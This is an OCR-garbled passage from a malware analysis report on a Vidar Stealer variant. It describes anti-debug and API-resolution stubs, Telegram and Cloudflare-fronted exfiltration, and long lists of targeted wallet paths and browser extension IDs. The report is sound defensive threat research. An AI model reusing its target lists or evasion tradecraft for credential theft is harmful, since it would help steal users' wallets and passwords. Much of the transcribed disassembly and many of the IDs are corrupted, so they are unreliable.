OF1140 30 movups xmmword ptr ds:[rax+30],xmmo
OF1005 F2ZBEFSFF movups xmmo,xmmword ptr ds: [FFF73E499610]
0OF1140 20 movups xrrrnwurd ptr ds:[rax+20] ,xmmd
0OF1005 DFBEFSFF movups xmmo , xmmword ptr ds: [?FF?3E499600]
OF1140 10 movups xrrs'rm'u-rd ptr ds:[rax+10] ,xmmd
OF1005 BCBEFSFF movups xmmo , xmmword ptr ds:[?FF?3E4995FD]
OF 1100 movups xmmword ptr ds:[rax] ,xmm0
833D 925209200 DA cmp dword ptr ds:[FFF73E5929D0] ,A oa:'ywn'
~ FC 15 i1 bsSh8eceege4fararodzadrazc026277 84cde04cc8dlareefdsds
S8BOS SESZ20300 mov eax,dword ptr ds:[FFF73E5929D4]
8045 01 Tea ecx qwurd ptr ds:[rax+1]
OFAFCS imul ecx,eax
83E1 01 and ecx,1
~ OF85 02C30000 jne b5sbBeceeGed4fararodzadrazc02627784cd604ccsd197eefdsd
48: 8B85 FOO20000 mov rax,qword ptr ss:firbp+ ’FD]
OF 2800 movaps xmmo,xmmword ptr ds:[rax]
OF5705 EAABFIFF Xorps xmmo, xrmm'ur‘d ptr‘ ds: [?FF?3E4933ED]
OF 2905 03CCO&00 movaps xwurd ptr ds: [FFF73E56A370] , xmmo
48: 8015 FCCBOGDO Tea rdx,qword ptr ds:[?FF?BESﬁA3?D]
CE05 05CCO600 00 mov byte ptr ds:[7FF73E56A380],0
48: 8B0D TE3I30600 mov rcx,qword ptr ds: [FFF73E561100]
48:83EC 20 sub rsp,20
4C: 8005 D3IZFOG0D0 1ea r8,qword ptr ds:[FFF72E561760]
E& 7795FFFF call bssbseceese4fararodzad7a3c02627784cdeD4cc8d1o7eefds
48:83C4 20 add rsp,20
48: 8905 A33D0600 mov qword ptr ds: [FFF73E561540] ,rax
OF1005 BCBEFSFF movups xmmo, xn'mwur‘d ptr. ds: [?FF?3E499660]
LOUD MU MAUDUD U Iy Ky LT Ll LZe LIPS IEIOALIW | oW
48:38D15 BDCADGDD lea rdx,qwerd ptr ds:[7FF73ES56A170]
48: 3B0D 163A0600 mov rcx,qwerd ptr ds:[FFF73E561100]
48:83EC 20 sub rsp,z20
4C:8D05 GE400600 lea r8,qword ptr ds: [7FF73E561760]
E8 OF96FFFF €all bssbsecee6e4f97ar0d2ad7a3c02627784cd6D4cc8dla7eefds
48:8905 3I33IE0600 mov qwu:rr‘d ptr ds: [-\:&ResumeThread:-] rax
48:3BB5 FOO20000 mov rax,gqwerd ptr ss:firbp+2roj
OF1140 30 movups xmmword ptr ds:[rax+30],xmmo
OF1005 FZBEF9FF movups xmmo,xmmword ptr ds [?FF?3E499510]
OF1140 20 movups xmmword ptr ds:[rax+20],xmm0
OF1005 D7BEFSFF movLUps Xmmo , Xmmwor d ptr‘ ds:[?FF?3E499BDD]
OF1140 10 movups xmmword ptr ds:[rax+10] , xmmO
OF1005 BCBEFIFF movups xmmo , xmmword ptr‘ ds: [FFF73E4995F0]
OF1100 movups xrrmwur‘d ptr ds:[rax],xmmo
833D 92520900 DA cmp dword ptr I:Is:[?FF?3E5929t}D],-’k
« FC 15 j1 bsSbBeceege4fa7ar0dzad7az3c02627734cde04cc8dl97 eafdads
SBOS BES5209200 mov eax,dword ptr ds:[7FF73E592904]
ED43 01 lea ecx,qword ptr ds:[rax+1]
OFAFCSE imul ecx,eax
53E1 01 and ecx,l
-~ DF85 02C30000 jne bssbBeceeces4fo7arodzadrazco26277534cde04cc8d1o7eefdsd:
48: 8B85 FOO20000 mov rax,gwerd ptr ssifirbp+2roj
OF 2300 movaps xmmo,xmmword ptr ds:[rax]
OF5705 EAABFOFF XOrps xmmo, xrnenwur‘d ptr ds:[7FF72E493350]
0OF2905 03CCO600 movaps xrrmwar*d ptr ds:[?FFBESMB?D],me
48:8D15 FCCBOGOOD lea rdx,qwerd ptr ds: [FFF73ES6A370]
Ce05 OSCCOG00 OO0 mov byte ptr ds: [?FF?3E56A3BD] 0
48: 3B0D TE3I90600 mov rcx,qword ptr ds [?FF?3E561100]
48:83EC 20 sub rsp,:l:l
4C:8D05 D33F0600 lea r8,qword ptr ds:[7FF73E561760]
E8 7795FFFF :311 bssbhseceeces4f97ar0d2adra3zc02627784cdeD4ccsdlo7eafds
la:agos A33D0600 mov qword ptr ds:[<&GetThreadContext>],rax I
48: 8B85 FS020000 mov rax,gword ptr ss:[rbp+2rFs]
OF1140 30 movups xmmword ptr ds:[rax+30] , xmmo
NF1NNS 9ARFFAFF mowvuns xmm . xmmword ntr ds: TPFF7IF499A/501

Fig.21 Before & After api resolve stub image
Based on the analysis, both figures exhibit an identical API resolver call pattern: call filename; add rsp,20; mov qword
ptr ds:[<&API>], rax. This indicates that the loader dynamically resolves Win32 APIs at runtime rather than relying
on a static import table.

Additionally, both images contain the same global state checks at [7TFF73E5929D0] and [7FF73E5929D4], suggesting
that the decryption routine is executed only when specific stage-state conditions are satisfied.

We observed a byte-by-byte XOR decryption loop that reconstructs plaintext strings in memory. This is a common
obfuscation technique used to hide APl names and hinder static analysis.
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48:83C4 20 add rsp,20
4B8: 8905 1FOEOED0D mov gword ptr ds:[<4IsDebuggerPresent=],rax rax: IsDebuggerPresent

| OF1005 BBAIFIFF movups xmmO,xmmword ptr ds.E?FFHE-imm]
4B8: BBA5 38050000 mov rax,qword ptr ss:|firbp+ 535 rax: IsDebuggerPresent
OF1140 320 movups xmmword ptr dsi[rax+30] , xmm0 rax+30: IsProcessorFeaturePresent
OF1005 &GAIFIFF movups xmmO,xmmword ptr ds: [?FF?3E49\AHED]
OF1140 20 movups xmmword ptr ds:[rax+20],x rax+20:RegisterwaitForInputIdle
0OF1005 4BAIFO9FF movups xmmO,xmmword ptr ds: [?Fr-?;umno]
0OF1140 10 movups xmmword ptr ds:[rax+10], xmm0O rax+10: IsDebuggerpPresent+10
0F1005 30A3F9FF movUps XmmD,xmmword prr ds: [7FF73E49A830]
OF1100 movups xmmword ptr ds:[rax],xmm0 rax: IsDebuggerPresent
8330 C6240300 04 cmp dword ptr ds:[FFF73ES92900] ,4 oa: "yn"

- FC 15 i1 bssbseceece4f97ar0od2adra3c02627784cde04cc8d197 eefdBads
BBOS C2240900 mov eax,dword ptr ds:[FFFT3ES92504]
BD43 01 Tea ecx,gword ptr ds:[rax+l] rax+01: IsDebuggerPresent+1
OFAFCS imul ecx,eax
83E1 01 and ecx,l
= 0OFBS CEI50000 jne bs5bBeceecesfararod2adra3c02627784cde04cc8d197eefdad

31C0 XOr eax,eax
48: 8000 46300700 Tea rcx,qwnrd ptr ds: PFF:‘;ESHE?D]
AR* RRQE TROENNOIN mrw rAdv munrd nte oo rhnsat IR

WARNING: MALWARE
!..The binary sh
ould be protecte
d with a packer/
crypter.before d
istribution to a
void detection..

I I I I

Fig.22 Anti Debug call & file is protected with Crypter
These screenshots show a loader stage that combines anti-debug checks, runtime API resolution, and an embedded
malware warning string.

The code resolves IsDebuggerPresent and IsProcessorFeaturePresent dynamically, then also references
RegisterWaitForlnputldle. That is a strong sign of anti-analysis logic plus process/thread orchestration.

The file is protected with a Cryptor to reduce what defenders can observe and increase the chance that the payload
runs only in a real target environment.

This stage does three things:

¢ Checks for a debugger or analysis environment.
» Uses a state flag to decide whether to decrypt or continue.
o Carries an embedded warning/placeholder string that may be used as a decoy.

Command-and-Control (C2) Communication Used for Data Exfiltration

BB s EQ ?“ﬁ‘. S| LA/ HREI BN

Bl Ooetion Lai Besutt
11944 QT’CF‘ Connect DESKTOP-BUVFABE:49366 -» 149.154 167 39 https SUCCESS
11544 & Connect DESKTOP-6UVFABB- 49367 -» 104_21.15.141 hiips SUCCESS
11944 QTCF‘ Connect DESKTOP-6UVFABE:45368 -> 104 21.19.141 htip= SUCCESS

Fig.23 TCP outbound connection of RegAsm.exe
This fig. Shows that the RegAsm.exe connected over HTTPS to 149.154.167.99, an IP associated with Telegram
infrastructure and to 104.21.19.141, associated with Cloudflare infrastructure, which may be fronting a malicious
domain.
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3114 17 660385300 192.168.4.104 164,.21.19. 141 TLSv1. 3 634 Application Data

3118 17.6580A7I06 192 148.4.104 184.21.19. 141 TSl A 184 Change Cipher Spec, dpplication Data

3111 17.657655600 194.21.19.141 192.168.4. 184 TLSW1. 3 177 Server Mello, Change Cipher Spec, Application Data
141 . seq

3189 17 .548563480

3187 18.982T65908

192.168.4.184

152.168.4.184

184.21.19.

184.21.19

TLSv1.3

778 Client Hello (SHIsp

54 45368 - 443 [ACK] Seq=138% Ack=1487 Win=262144 Len=8

seus.online

.141 TCP
3115 17.665945580 184.21.19.141 192.168.4.184 TCP 6@ 243 = 49368 [ACK] Seqe=220 Ack=1385 Win=131872 Len=@
3112 17.6577175@88 192.168.4.184 124.21.18.141 TCP 54 45368 - 443 [ACK] Seq-725 Ack-229 Win-261888 Len-2
311@ 17.654712608 184.21.19.141 192.168.4. 184 TCP 6@ 443 « 49368 [ACK] Seq=l Ack=725 Win=131072 Len=B
388 17, 646766108 192.168.4.184 184.21.19.141 TCP 54 40368 - 443 [ACK] Seq=1 Ack-1 Win=262144 Len=-§

1c ¥9 8@ 28 13 82 13 2l

Handshake Type: Client Hella (1) 1a
tocl 34 cd 23 ob 38 cd 27 o Ba cd @5 o 14

Length: 715

= @
[
.
L
[
4+
-

Random: 35a3@773fScibafcedfcisiiesTfalsbodlciaclselifiadibdTozbabladissl
Session ID Lengthr 32
Session ID: clbedddc@beaBlB068c7172200010d68Ea4e 9732062698161 31 3d049d1c39

0 Bd 88 1s B2 18 05 B4 08 05 88 06 B4 81 85 81

Cipher Suites Length: 48 92 @1 84 93 @5 83 92 @3 02 02 96 91 06 83 @0 23

¥ Cipher Suites (2@ sl.litlij 1 92 B2 2@ 2a P2 B3 90 B6 9@ 1d 8@ 17 B8 18 82 ab

Compression Methods Length: 1 1 B0 B2 81 B0 B3 33 B0 d0 90 ce 8@ 1d BB 28 34 a5

> Compratsion Muthods (1 method) . 9a 4 2e de b 5¢ af bd 0d ca 75 b6 cB 2 00 17
Extenslons Length: 682

4 7 ab fa

* Extension: server_name (len=26) mame=pre.sequaresus.online 84 g: -u]; : 5; :: :: d: 5§ 3: :: ; ;; :: : :: 2

Type: server_name (9} 74 71 88 71 B7 M d2 B4 Sc 2e 05 67 c2 35 ba b

Length: 26 #s 7f a5 53 48 8a ce fe 35 7 <7 2d =d 40 80 3d

R o e 91 85 5b 9@ 18 84 61 84 38 lc 4a Sb 4f @3 94 38

Server Name list length: 24 45 b2 63 c6 5b bf fl bc dd 28 2a 1c I7 a3 44 ef

Server Name Type: host_name (&) b% 13 25 & of 34 95 90 4b eb 1f 10 cB 1b a= 17

Server Suae laagth: 1 7162 71 63 20 ad 19 4 a5 18 do 4 a2 2¢ 1f bd

A & &, i
l, L L m'"q"',rm’:‘MIm a4 2e af 22 53 32 51 f8 b el 35 Ba 25 B4 &4 @2
» Ex — sl wf AR 1€ G hT af Hda A6 11 00 A G8 17 a5 G

_Eig.24 102,.21.19.141 is associated with a malicious domain used for data exfiltration
Based on the analysis, the subdomain pre[.]sequareeus|.]Jonline is routed through Cloudflare infrastructure (IP:

104.21.19.141), which appears to function as an intermediary layer between the victim system and backend resources.

Traffic associated with this campaign indicates that the final hosting destination references a Telegram-hosted page (In
fig. 26)

The observed RegAsm.exe process on the victim machine established outbound connections to the Cloudflare-fronted
domain rather than directly communicating with Telegram-owned infrastructure. This suggests the use of a proxy or
traffic redirection layer designed to conceal the true backend destination.

Operational Role of the Domain

The domain appears to serve as an indirection/proxy mechanism, commonly used in malicious campaigns for the
following purposes:

Traffic Obfuscation and Detection Evasion
By leveraging Cloudflare and a seemingly legitimate domain, the operators can mask direct communication with
Telegram services, reducing suspicion during basic network inspection.

Reputation Shielding for Malicious Content
Using Cloudflare-fronted domains allows phishing pages, malware delivery pages, or credential collection portals to
appear more trustworthy while the actual backend workflow is handled through Telegram channels or bots.
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2950 15.458522598 192.168.4.1604 193.15668.298. 36 ROFUOP 555

| 2951 15.5012199080 149,154.167.99 192.168.4.184 TCF TR 443 + 49366 [5YN, ACK] Seqed Acksl Win=g5535 Lens=@ M55=1248 SACK PERM WS=18d
29%2 15.501515100 192, 168.4.184 149.1%4.167.99 TP 54 49366 - 443 [ACK] Seqel Acksl Win=282184 Lens@
2953 15.506236508 192.168.4.184 149.1%4.167.99 TLSw1.3 437 Client Mello (SHIstelegram.me)
2054 15 530415600 192 168.4.104 192 168, J08. 28 ROEUDPE 1379
2955 15.530400008 192.168.4.104 192. 168, 284, 26 ADeUDP 1279
2056 15.530550000 192,168, 4,104 192. 168, 204, 26 Lleg bty (]
957 15.583645208 192, 168,204,206 192.168.4. 184 RLEUDP 184 CORRELATIONID , SYNEX ,ADA
20958 15.599735700 192,168,418 192. 168, 208 26 Ll by 566 SYNEX,ADA
Server Wame list length: 14 98 @83 Be 71 c9 e2 f4 39 @9 1@ fe e B2 B0 45 0O q 9 . E
Server Mame Type: host_name (8) Bl e} 3¢ 9o 48 00 BB @6 90 B0 cO of 04 &5 9% Sa <@ h
Server Mame length: 11 87 63 ¢ d6 81 bb be €2 €3 15 49 €5 bed 37 50 18 ¢ § P
Berver Mame: telegran.ne B4 B0 @3 o4 B3 90 16 83 81 @1 b5 @1 8@ AL b2 B3 - es seeeenes
v Extension: stwtus r T B3 61 8b dc 1b 96 43 64 91 &6 B9 50 2 OF bA 3c  cmk---Cd Foceeg
xtenslon: status_request (len=3) bb Be cf 66 dc 4f 65 ¢l 41 82 d5 2 25 13 ¢4 3d  =rhDr= Arreneom
Type: status_request (5) 35 20 71 8c 1d fe ed 9c 923 41 85 B4 5d Zb 26 €5 5 gec-c- -A- -]+
Length: 5 Fa 5F 65 bf cb 57 dB 38 4a Thb 73 &d 5& aB O9c 3D el B w0
certificate Status Type: OCSP (1) of 50 @8 26 13 92 13 91 R Zc cR b <@ 3@ c@ 2F - ]-(-- gl
Respander ID List Length: @ 8 24 @ 23 @ 2B o8 27 cP@ Ba cP 99 CA 14 ¢A 13 e ssssanas
Request Extensicns Length: @ B0 Od 0 9c BB 3d BB 3¢ B0 35 00 3 01 BB 8L 41 cereemeg o5efeiei
w Extension: supported wersiloms {lem=S) TLS 1.3, TLS 1.2 Babe B0 B0 B0 10 B0 Ge BB 00 0b DEEECSEETEEEED .- L
Type: ;u',lP:rte:l_L-;-;inns m;; ' el B8 95 B8 83 81 BB 00 B0 0@ B8 2b BB .'.!: "

5 94 B3 84 03 93 0B Bd 90 La B0 1B 9 B4 98 05

Lenagth: 5 I T e e

Fig.25 149.154.167.99-Another IP is associated with telegram domain
Alternate Command-and-Control / Data Relay Channel
Instead of maintaining dedicated attacker infrastructure, the campaign may use Telegram as a backend communication
platform. In such scenarios, the proxied domain can facilitate:

« Exfiltration of stolen data such as credentials, logs, screenshots, or system information
» Delivery of attacker commands or updated payload instructions
* Relay of campaign telemetry through Telegram bots or associated services

=% telegramome/nwathi

a Telegram

g

nwwfh8

np3au pre sequaresus. onling|

R0 5 O )
Fig.26 A Telegram-hosted page was found linking to a malicious domain (pre[.Jsequareeus|.Jonline)
We identified communication with telegram[.Jme/nwwfh8, indicating potential abuse of Telegram infrastructure as a
covert data exfiltration channel. The use of a trusted messaging platform may help attackers conceal malicious traffic
and avoid reliance on traditional command-and-control infrastructure.
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Vidar Stealer Capabilities

11:06:53. 1704267
11:06:53.1709708
11:06:53.17145972
11:06:53.1720187
11:06:53.1721241
11:06:53.1721862
11:06:53,1722530
11:06:53,1723580
11:06:53.1724160
11:06:53, 1724705
11:06:53.1734637
11:06:53,1735961
11:06:53,1736799
11:06:53.1738876
11:06:53.173%4597
11:06:53. 1740546
11:06:53.1741193
11:06:53. 1742216
11:06:53. 1743261
11:06:53.1744303
11:06:53.1744525
11:06:53.1745475
11:06:53. 1746061
11:06:53. 1746588
11:06:53.1747629
11:06:53. 1748270
11:06:53. 1748838
11:06:53.1749359
11:06:53.1749531
11:06:53.1750451
11:06:33.1751038
11:06:53.1751608
11:06:53.1752278
11:06:53.1752821
11:06:53.17538M
11:06:53.1754995
11:06:53, 1756084
11:06:53.1757144
11:06:53.1758192
11:06:53,1759250
11:06:53,1759835
11:06:53,1760879
11:06:53,1761454

11:06:53.1762595
11:06:53.1763104
11:06:53.1763610

11:06:53. 1762070 §

W Reghsm exe
W Reghsm exe
W Reghsm exe
W Aegfsm exe
W Aeghsm exe
W Reghsm exe
W Regham exe
W Regham exe
W Regham exe
W Reghsm exe
‘W Reghsm exe
‘W Regfam exe
‘W Reghsm exe
‘B Reglam exe
‘B Regham exe
‘W Regham exe
‘W Regham exe
‘W Aeglfam exe
‘W Regfam exe
‘W Aegfam exe
‘W Reghsm exe
‘W Reghsm exe
‘W Reghsm exe
‘W Regfsm exe
‘W Fegfsm exe
W Reghsm exe
W Reghsm exe
W Reghsm exe
W Aeghsm exe
W Regfsm exe
W Reghsm exe
W Reghsm exe
W Reghsm exe
‘W Reghfsm exe
W Aegham exe
W Reghsm exe
W Regham exe
W Regham exe
‘W Regham exe
W Reghem exe
W Reghem exe
‘W Regfam exe
W Reghsm exe
HegAsm exe
‘B Regham exe
‘W Regham exe
‘W Regham exe

12056 [f)CreateFie
12056 [3)Createfile
12056 [f)CreateFile
12056 [F)CreateFie
12056 [fCreateFile
12056 [FCreateFie
12056 [f)Createfie
12056 [)Createfile
12056 [f)CreateFie
12056 (f)CreateFile
12056 (f1)CreateFie
12056 (f)CreateFile
12056 [)CreateFie
12056 [f5)CreateFie
12056 (f5)CreateFie
12056 (f)CreateFile
12056 (H)CreateFile
12056 [f)CreateFils
12056 (H)CreateFile
12058 (FH]CreateFie
12056 [H)CreateFile
12056 (FH)CreateFile
12056 [f)CreateFile
12056 (fH)CreateFile
12056 [f)CreateFie
12056 [fICreateFie
12056 [ICreateFile
12056 [/CreateFie
12056 (7 CreateFie
12056 (f)CreateFile
12056 [f)Createfile
12056 [f3/Createfie
12056 [f)CreateFile
12056 [F)CreateFie
12056 (F)CreateFie
12056 (FICreateFie
12056 [f3)Createfile
12056 [)Createfile
12055 [7)CreateFie
12056 FSCreatefie
12056 (f3)CreateFie
1205 (f1)CreateFie
12056 [RICreateFile
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Ch\Users admin'AppData’Roaming \BRcoin walets',
C\Users'admin\App Data'\Roaming' BRcoin

C\Users'\admin'App Data'\Roaming \Dogecon

CiUsers admin'App Data' Roaming \Raven

Chlsers admin'App Data'\Roaming Daedalus Mainnet wallets',
C:\Users'admin'App Data' Roaming \Block stream \Green walets',
Ci\Users\admin'pp Data’ Roaming\WalletWasabi\Client \Walets',
C\Users'admin’App Data' Roaming\ Ethereum

C:\Users adminSppData' Roaming \Blectrum walets',
C\Users\admin'ipp Data'\Roaming \Sectrum-L TC wiallets

C:\LUsers admin'AppData'Roaming Exodus \exodus wallet

C:\Users admin'App Data' Roaming\ Exodus \exodus wallet

€ \Jsers'admin'App Data'\ Roaming' Exodus \exodus wallet
C:\Users'admin JAppData'Roaming' Exodus \backups

C:\Users adminApp Data* Roaming ' BectronCash walets'.
C\Users'admin App Data Roaming ' MutiDoge

C:\Users admin App Data' Roamingatomic i Local Storagelevelds',
C:\Users'admin'\JApp DataRoaming Binance
C:\Users‘admin'App Data' Roaming ' Binance

C:\Users adminApp Data' Roaming ' Binance

C:\Users admin \Comnomi\Caoinomi‘wallets,

C:\Users admin \Conomi\Caoinomi‘wallets',

Ci\Users \admin'AppData' Roaming Ledger Live'Local Storageleveldb'.
CA\Users admin'App Data' Roaming ' Ledger Live'Session Storage
CA\Users admin'App Data' Roaming ' Ledger Live

C\Users adminAppData'Local'. chia \mainnet 'config',

CUsers admin\App Data'\Local'. chia \mainmet 'run',

T\ Users'admin \AppData'\Local'. chia \mainmet 'wallet

Cilsers admin\App Data' Roaming \atoms:_qt'configh

Chlsers adminApp Data  Roaming \stoms_gthexpons’,

C\Users admin'AppData'Roaming \Guanda\Indexed DB https _guarda co_{Lindexeddb leveldb®
Ch\Usershadmin'AppData’ Roaming \Guanda'\Local Storageleveldb
C:\Users'admin®App Data \Roaming keepkey-deskiop'Local Storage leveld',
C\Users'admin'AppData'\Roaming keepkey-deskiop'Session Storage’,
Chlsers admin'App Data'\Roaming keepkey-deskiop

C\Users admin' Decuments ' Moneno

C\Users admin' Documents '\ Momnens
C:\Users'admin'App Data' Roaming ' Monen
C:\Users’admin'fppData' Roaming ' MyMonem

Ci\Users\admin'App DatatLocal'1Passwond
C:\Users'admin'AppData'Local\Robe Form™ Profiles,
C:\Users\admin'Jipp DataRoaming'\Biwarden
C:\Users'adminApp Data' Local@tonkeeper\desktop'.

C\Users \admin'fApp Data' Roaming ' @trezor sut e-deskiop Indexed DB ile 0 indexeddb leveldh
C:\Users adminApp Data* Roaming ' W@trezor sute-deskiop®.
C:\Users"admin‘ppData' Roaming W@trezorsute-deskiop'.

C:\Users adminApp Data' Roaming ' Strezor sute-deskiop.

Fig.27 Collecting crypto wallet data

Targeted Browser Extension IDs Identified in This Vidar Variant (Chrome and Edge)

Below is a list of browser extension IDs specifically targeted by this Vidar variant for credential theft, session hijacking
and extraction of wallet or identity-related data from Google Chrome and Microsoft Edge browsers.

Browser Extension ID Browser Browser Extension ID Browser
Extension Extension Name
Name
nkbihfbeogaeaoehlefnkodbefgpgknn MetaMask gfenajajnjjmmdojhdjmnngomkhinfjl Enkrypt crypto
wallet
djclckkglechooblngghdinmeemkbgci MetaMask dfeccadlilpndjjohbjdblepmjeahimm Math Wallet
ejbalbakoplchlghecdalmeeeajnimhm MetaMask hkkpjehhcnhgefhbdcgfkeegglpjchdc Braavos Smart

Wallet
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ibnejdfimmkpcnlpebkimnkoeoihofec TronLink Ifochlioelphaglamdcakfjemolpichk Keeper Password
Manager & Digital
Vault
fhbohimaelbohpjbbldcngcnapndodijp Binance jbkfoedolllekgbhcbcoahefnbanhhih Bitwarden
Wallet Passwortmanager
ffnbelfdoeiohenkjibnmadjiehjhajb Yoroi Wallet Icccdliklhahfmobgpnilndimkankpnkg Norton Password
Manager
hnfanknocfeofbddgcijnmhnfnkdnaad Coinbase dppgmdbiimibapkepcbdbmkaabgiofem 1Password —
Wallet Password
Manager
kncchdigobghenbbaddojjnnaogfppfj iWallet emgfgdclgfeldebanedpihppahgngnle Avira Password
Manager
fnjhmkhhmkbjkkabndcnnogagogbneec  Ronin Wallet keokhigifjinncliedmendkbikiakicj ESET Password
Manager
cphhlgmgameodnhkjdmkpanlelnlohao NeoLine ljpdiapgjljgaiiilgojopoonfnnpfgj F-Secure
Wallet Password
Manager
nhnkbkgjikgcigadomkphalanndcapjk CLV Wallet bbcinlkgjjkejfdpemiealijmmooekmp LastPass: Free
Password
Manager
kpfopkelmapcoipemfendmdcghnegimn  Liquality gehmmocbbkpblljhkekmfhjpfbkclbph Dashlane
Wallet Password
Manager

aiifbnbfobpmeekipheeijimdpnlpgpp

Station Wallet

niihfokdlimbddhfmngnplgfcgpmlido

Glow Solana

Wallet
dmkamcknogkgcdfhhbddcghachkejeap  Keplr Wallet jnmbobjmhlingoefaiojfljckilhhlhcj OneKey: Secure
Crypto Wallet
cnmamaachppnkjgnildpdmkaakejnhae  Auro Wallet abkahkcbhngaebpcgfmhkoioedceoigp Casper Wallet
jojhfeoedkpkglbfimdfabpdfjaoolaf Polymesh admmijipmmciaobhojoghimleefbicajg Norton Password
Wallet Manager
flpicilemghbmfalicajoolhkkenfel ICONex cjookpbkjnpkmknedggeecikaponcalb XTON wallet
cryptocurrency
wallet
aeachknmefphepccionboohckonoeemg Coin98 Wallet  afbcbjpbpfadlkmhmclhkeeodmamcflc MathWallet
cgeeodpfagjceefiefimdfphplkenlfk EVER Wallet bopcbmipnjdcdfflfgjdgdjejmgpoaab BlockWallet
pdadjkfkgcafgbceimcpbkalnfnepbnk KardiaChain canipghmckojpianfgiklhbgpfmhjkjg Crossmark Wallet
Wallet
acmacodkjbdgmoleebolmdjonilkdbch Rabby Wallet  cpmkedoipcpimgecpmgpldfpohjplkpp Gate Wallet
bfnaelmomeimhlpmgjnjophhpkkoljpa Phantom ablbagjepecncofimgjmdpnhnfjiecfm Blocknative Gas
Wallet Fee Estimator
fhilaheimglignddkjgofkcbgekhenbh Oxygen aeblfdkhhhdcdjpifhhbdiojplfincoa 1Password —
cryptocurrency Password
wallet Manager
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https://microsoftedge.microsoft.com/addons/detail/bitwarden-passwortmanager/jbkfoedolllekgbhcbcoahefnbanhhlh?hl=de-de
https://microsoftedge.microsoft.com/addons/detail/bitwarden-passwortmanager/jbkfoedolllekgbhcbcoahefnbanhhlh?hl=de-de
https://microsoftedge.microsoft.com/addons/detail/norton-password-manager/lcccdlklhahfmobgpnilndimkankpnkg?installSource=PWMnew
https://microsoftedge.microsoft.com/addons/detail/norton-password-manager/lcccdlklhahfmobgpnilndimkankpnkg?installSource=PWMnew
https://chromewebstore.google.com/detail/onekey/jnmbobjmhlngoefaiojfljckilhhlhcj?hl=fr
https://chromewebstore.google.com/detail/onekey/jnmbobjmhlngoefaiojfljckilhhlhcj?hl=fr
https://chromewebstore.google.com/detail/casper-wallet/abkahkcbhngaebpcgfmhkoioedceoigp
https://chromewebstore.google.com/detail/norton-password-manager/admmjipmmciaobhojoghlmleefbicajg
https://chromewebstore.google.com/detail/norton-password-manager/admmjipmmciaobhojoghlmleefbicajg

mgffkfbidihjpoaomajlbgchddlicgpn Pali Wallet agoakfejjabomempkijlepdflaleeobhb Core Wallet —
Crypto Made
Easy

Ipfebjknijpeeillifnkikgncikgfhdo Nami Wallet ajkifnlifhikkjbjopkhmijoieikeihjb Moso: Shop and

Earn Crypto

Bhhhlbepdkbapadjdnnojkbgioiodbic Solflare Wallet Ajkigpnleboodhdiminnimlidegieilfc Kalp Wallet
DkdedIpgdmmkkfjabffeganieamfklkm Cyano Wallet  amkmjjmmflddogmhpjloimipbofnfjih Wombat —
Gaming Wallet
hcflpincpppdclinealmandijcmnkbgn MetaMask andhndehpcjpmneneealacgnmealilal HaHa Wallet
mnfifefkajgofkcjkemidiaecocnkjeh TezBox apnehcjmnengpnmccpaibjmhhoadaico  CardWallet
jnkelfanjkeadonecabehalmbgpfodjm Goby bcopgchhojmggmffilplmbdicgaihlkp Hycon Lite Client
kjmoohlgokccodicjjfebfomibljgfhk Ronin Wallet bedogdpgdnifilpgeianmmdabklhfkcn VESPR Wallet
ppbibelpcjmhbdihakflkdcoccbgbkpo UniSat Wallet  bfogiafebfohielmmehodmfbbebbbpei Keeper Password
Manager
bhghoamapcdpbohphigoooaddinpkbai  Authenticator  bifidjkcdpgfnlbcjpdkdcnbiooooblg Fuelet Wallet
extension
ilgcnhelpchnceeipipijaljikblbcobl GAuth bkgplkpdgidigmnlhdfakhcjfpfgjjkb Ancient8 Wallet

Authenticator

pnndplcbkakcplkjnolgbkdgjikjednm Tronium bkklifkecemccedpkhcebagjpehhabfb Meta Wallet
egjidjbpglichdcondbcbdnbeeppgdph Trust Wallet blgcbajigpdfohpgembbfnphcgifjopc ExpressVPN
Keys
aholpfdialjgjfhomihkjbmgjidlcdno Exodus Web3  bmhejbnmpamgfnomlahkonpanlkcfabg  Dropbox
Wallet Passwords
jnlgamecbpmbajjthmmmlhejkemejdma  Braavos: bmikpgodpkclnkgmnpphehdgcimmided  MYKI Password
Bitcoin & Manager &
Starknet Authenticator
Wallet
kkpllkodjeloidieedojogacfhpaihoh Enkrypt bnfdmghkeppfadphbnkjcicejfepnbfe Sticky Password
mcohilncbfahbmgdjkbpemcciiolgcge OKX Wallet bnfooenhhgcnhdkdjelgmmkpaeminoek  Auto 2FA
epapihdplajcdnnkdeiahlgigofloibg Sender Wallet  bocpokimicclpaiekenaeelehdjllofo XDCPay
gjagmgiddbbciopjhllkdnddhcglnemk HashPack bofddndhbegljegmpmnlbhcejofmjgbn eckoWALLET
bgpipimickeadkjlklgciifhnalhdjhe GeroWallet caljgklbbfbcjjanaijlacgncafpegll Avira Password
Manager
phkbamefinggmakgklpkljjmgibohnba Pontem cgddkajmbckbjbnondgfcbcojjjdnmii Mavryk Wallet

Crypto Wallet

cjmkndjhnagcfbpiemnkdpomccnjbimj Finnie Wallet  chgfefjpcobfbnpmiokfjjaglahmnded CommonKey

aijcbedoijmgnimjeegjaglmepbmpkpi Leap Terra cihmoadaighcejopammfbmddcmdekcje ~ Atomic Crypto
Wallet Wallet

fiedbfgcleddIbecmgdigjgdfcggjcion Microsoft cmndjbecilbocjfkibfbifhngkdmjgog swash

Autofill
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https://www.google.com/search?q=Core+Wallet+-+Crypto+Made+Easy&sca_esv=a963c435ce01c701&aep=1&biw=1920&bih=945&sxsrf=ANbL-n5g4F-NRcNUeLOHQLDy3S_Tjipkow%3A1776422264342&ei=eA3iaY_JFOzl1e8P8eTX8AI&ved=2ahUKEwi97-je2PSTAxVKc_UHHXihBwsQgK4QegQIARAB&uact=5&oq=%22agoakfejjabomempkjlepdflaleeobhb%22&gs_lp=Egxnd3Mtd2l6LXNlcnAiIiJhZ29ha2ZlamphYm9tZW1wa2psZXBkZmxhbGVlb2JoYiIyBRAAGO8FMgUQABjvBTIIEAAYgAQYogQyBRAAGO8FMgUQABjvBUi9CVCqBliqBnACeACQAQCYAYsBoAGTAqoBAzAuMrgBA8gBAPgBAvgBAZgCA6ACnAHCAgoQABhHGNYEGLADwgIOEAAY5AIY1gQYsAPYAQHCAhcQLhjcBhi4BhjaBhjYAhjIAxiwA9gBAZgDAIgGAZAGDroGBggBEAEYCZIHAzIuMaAHgBGyBwMwLjG4B44BwgcDMi0zyAcQgAgB&sclient=gws-wiz-serp&mstk=AUtExfAgq764gXlPFh9Os21MBQbWQXBjcoDD-bicz-GGB7zImrPKJr_eNvr6tA9E2nOMCzfXn4vr2EDbwAF71uy0Wtb4Zxi35EWAvhaLWNus0UXKF8bCxSZ6R4Y2PQR5wo5e0U